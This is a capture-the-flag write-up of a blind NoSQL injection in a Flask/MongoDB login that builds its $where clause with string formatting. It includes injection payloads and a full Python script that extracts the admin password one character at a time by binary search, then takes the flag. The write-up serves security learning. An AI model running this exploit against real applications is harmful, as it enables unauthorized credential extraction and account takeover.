Challenge Overview
MicroDosing is a web application that looks like a legitimate medication titration research platform. It’s got a clean interface and realistic functionality, but there’s a NoSQL injection vulnerability in the login system. What makes this interesting is that it’s not your typical injection challenge – you can’t just use simple boolean injection to bypass authentication.
Challenge Analysis
Application Structure
The app is built with Flask and MongoDB. It has:
- User registration and login
- Research data dashboard
- Admin panel (where the flag is)
Key Constraints
- Character Limit: Input fields are limited to 40 characters (but this barely matters)
- Boolean Injection Protection: Simple boolean injection is blocked
- Password Extraction Required: You need to extract the actual admin password
- Blind Injection Only: We can diferentiate true and false, but we don’t get any NoSQL output directly
Vulnerability Analysis
The NoSQL Injection Point
The bug is in the login endpoint (/login
) where user input gets concatenated into a MongoDB $where
clause:
query = {
'$where': f"this.username == '{username}' && this.password == '{password}'"
}
This gives us a NoSQL injection, but there’s a catch:
if user:
# They check that the returned user matches the input exactly
if user['username'] == username and user['password'] == password:
# Login successful
else:
flash('Something went wrong.', 'error')
Why Simple Boolean Injection Doesn’t Work
The app does two checks:
- Database Query: Uses your injected
$where
clause to find users - Application Check: Makes sure the returned user’s credentials match your input exactly
So if you try '||1==1||'
, it’ll find the admin user but fail the second check and give you “Something went wrong” instead of access to the admin account.
Exploitation Strategy
Phase 1: Character-by-Character Password Extraction
Since we need the actual admin password, we have to extract it character by character. I used binary search to make this efficient:
def extract_password(base_url, session):
"""Extract admin password using binary search"""
print("[+] Extracting admin password...")
charset = sorted(string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+")
password = ""
pos = 0
while True:
print(f"[+] Position {pos}: ", end="")
# Binary search for character
left, right = 0, len(charset) - 1
while left <= right:
mid = (left + right) // 2
char = charset[mid]
payload = f"admin' && this.password[{pos}]<'{char}' || '"
if len(payload) > 40:
continue
result = test_injection(payload, base_url, session)
if result == "USER_FOUND":
right = mid - 1
else:
left = mid + 1
# Find exact character
if left < len(charset):
exact_char = charset[left]
exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '"
if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND":
password += exact_char
print(f"Found '{exact_char}'")
pos += 1
continue
# Try character before left position
if left > 0:
exact_char = charset[left - 1]
exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '"
if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND":
password += exact_char
print(f"Found '{exact_char}'")
pos += 1
continue
print("End of password")
break
return password
Phase 2: Response Analysis
The exploit checks response patterns to see if injection worked:
def test_injection(payload, base_url, session):
"""Test a NoSQL injection payload and return response type"""
try:
data = {
'username': payload,
'password': 'anything'
}
response = session.post(f"{base_url}/login", data=data, timeout=10)
if 'Something went wrong' in response.text:
return "USER_FOUND"
else:
return "NO_USER"
except Exception as e:
return "ERROR"
The Complete Exploit
#!/usr/bin/env python3
import requests
import string
import re
import sys
def test_injection(payload, base_url, session):
"""Test a NoSQL injection payload and return response type"""
try:
data = {
'username': payload,
'password': 'anything'
}
response = session.post(f"{base_url}/login", data=data, timeout=10)
if 'Something went wrong' in response.text:
return "USER_FOUND"
else:
return "NO_USER"
except Exception as e:
return "ERROR"
def extract_password(base_url, session):
"""Extract admin password using binary search"""
print("[+] Extracting admin password...")
charset = sorted(string.ascii_letters + string.digits + "_{}!@#$%^&*()-=+")
password = ""
pos = 0
while True:
print(f"[+] Position {pos}: ", end="")
# Binary search for character
left, right = 0, len(charset) - 1
while left <= right:
mid = (left + right) // 2
char = charset[mid]
payload = f"admin' && this.password[{pos}]<'{char}' || '"
if len(payload) > 40:
continue
result = test_injection(payload, base_url, session)
if result == "USER_FOUND":
right = mid - 1
else:
left = mid + 1
# Find exact character
if left < len(charset):
exact_char = charset[left]
exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '"
if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND":
password += exact_char
print(f"Found '{exact_char}'")
pos += 1
continue
# Try character before left position
if left > 0:
exact_char = charset[left - 1]
exact_payload = f"admin' && this.password[{pos}]=='{exact_char}' || '"
if len(exact_payload) <= 40 and test_injection(exact_payload, base_url, session) == "USER_FOUND":
password += exact_char
print(f"Found '{exact_char}'")
pos += 1
continue
print("End of password")
break
return password
def login_and_get_flag(base_url, session, password):
"""Login as admin and get the flag"""
print(f"[+] Logging in as admin with password: {password}")
data = {
'username': 'admin',
'password': password
}
response = session.post(f"{base_url}/login", data=data, timeout=10)
if 'dashboard' in response.text or 'redirect' in response.text:
print("[+] Login successful!")
# Get flag from admin panel
response = session.get(f"{base_url}/admin", timeout=10)
matches = re.findall(r'MetaCTF\{[^}]+\}', response.text, re.IGNORECASE)
for match in matches:
print(f"[+] Flag: {match}")
return match
print("[-] Flag not found")
return None
else:
print("[-] Login failed")
return None
def main():
if len(sys.argv) != 2:
print("Usage: python solve.py <target_url>")
print("Example: python solve.py http://localhost:5000")
sys.exit(1)
base_url = sys.argv[1].rstrip('/')
session = requests.Session()
print(f"[+] Target: {base_url}")
print()
# Extract password
password = extract_password(base_url, session)
if not password:
print("[-] Failed to extract password")
sys.exit(1)
print(f"[+] Extracted password: {password}")
print()
# Login and get flag
flag = login_and_get_flag(base_url, session, password)
if not flag:
print("[-] Failed to get flag")
sys.exit(1)
print("[+] Exploitation successful!")
if __name__ == "__main__":
main()
Execution Flow
- Password Extraction: Use binary search to extract admin password character by character
- Authentication: Login with the extracted credentials
- Flag Retrieval: Access the admin panel to retrieve the flag
Execution Example
$ python3 solve.py http://localhost:5000
[+] Target: http://localhost:5000
[+] Extracting admin password...
[+] Position 0: Found '9'
[+] Position 1: Found 'b'
[+] Position 2: Found '0'
[+] Position 3: Found '1'
[+] Position 4: Found 'a'
[+] Position 5: Found 'c'
[+] Position 6: Found 'c'
[+] Position 7: Found '8'
[+] Position 8: Found '6'
[+] Position 9: Found '2'
[+] Position 10: Found 'c'
[+] Position 11: Found '5'
[+] Position 12: Found '7'
End of password
[+] Extracted password: 9b01acc862c57
[+] Logging in as admin with password: 9b01acc862c57
[+] Login successful!
[+] Flag: MetaCTF{n0_sql_bu7_c3r74inly_4n_inj3ct7i0n}
[+] Exploitation successful!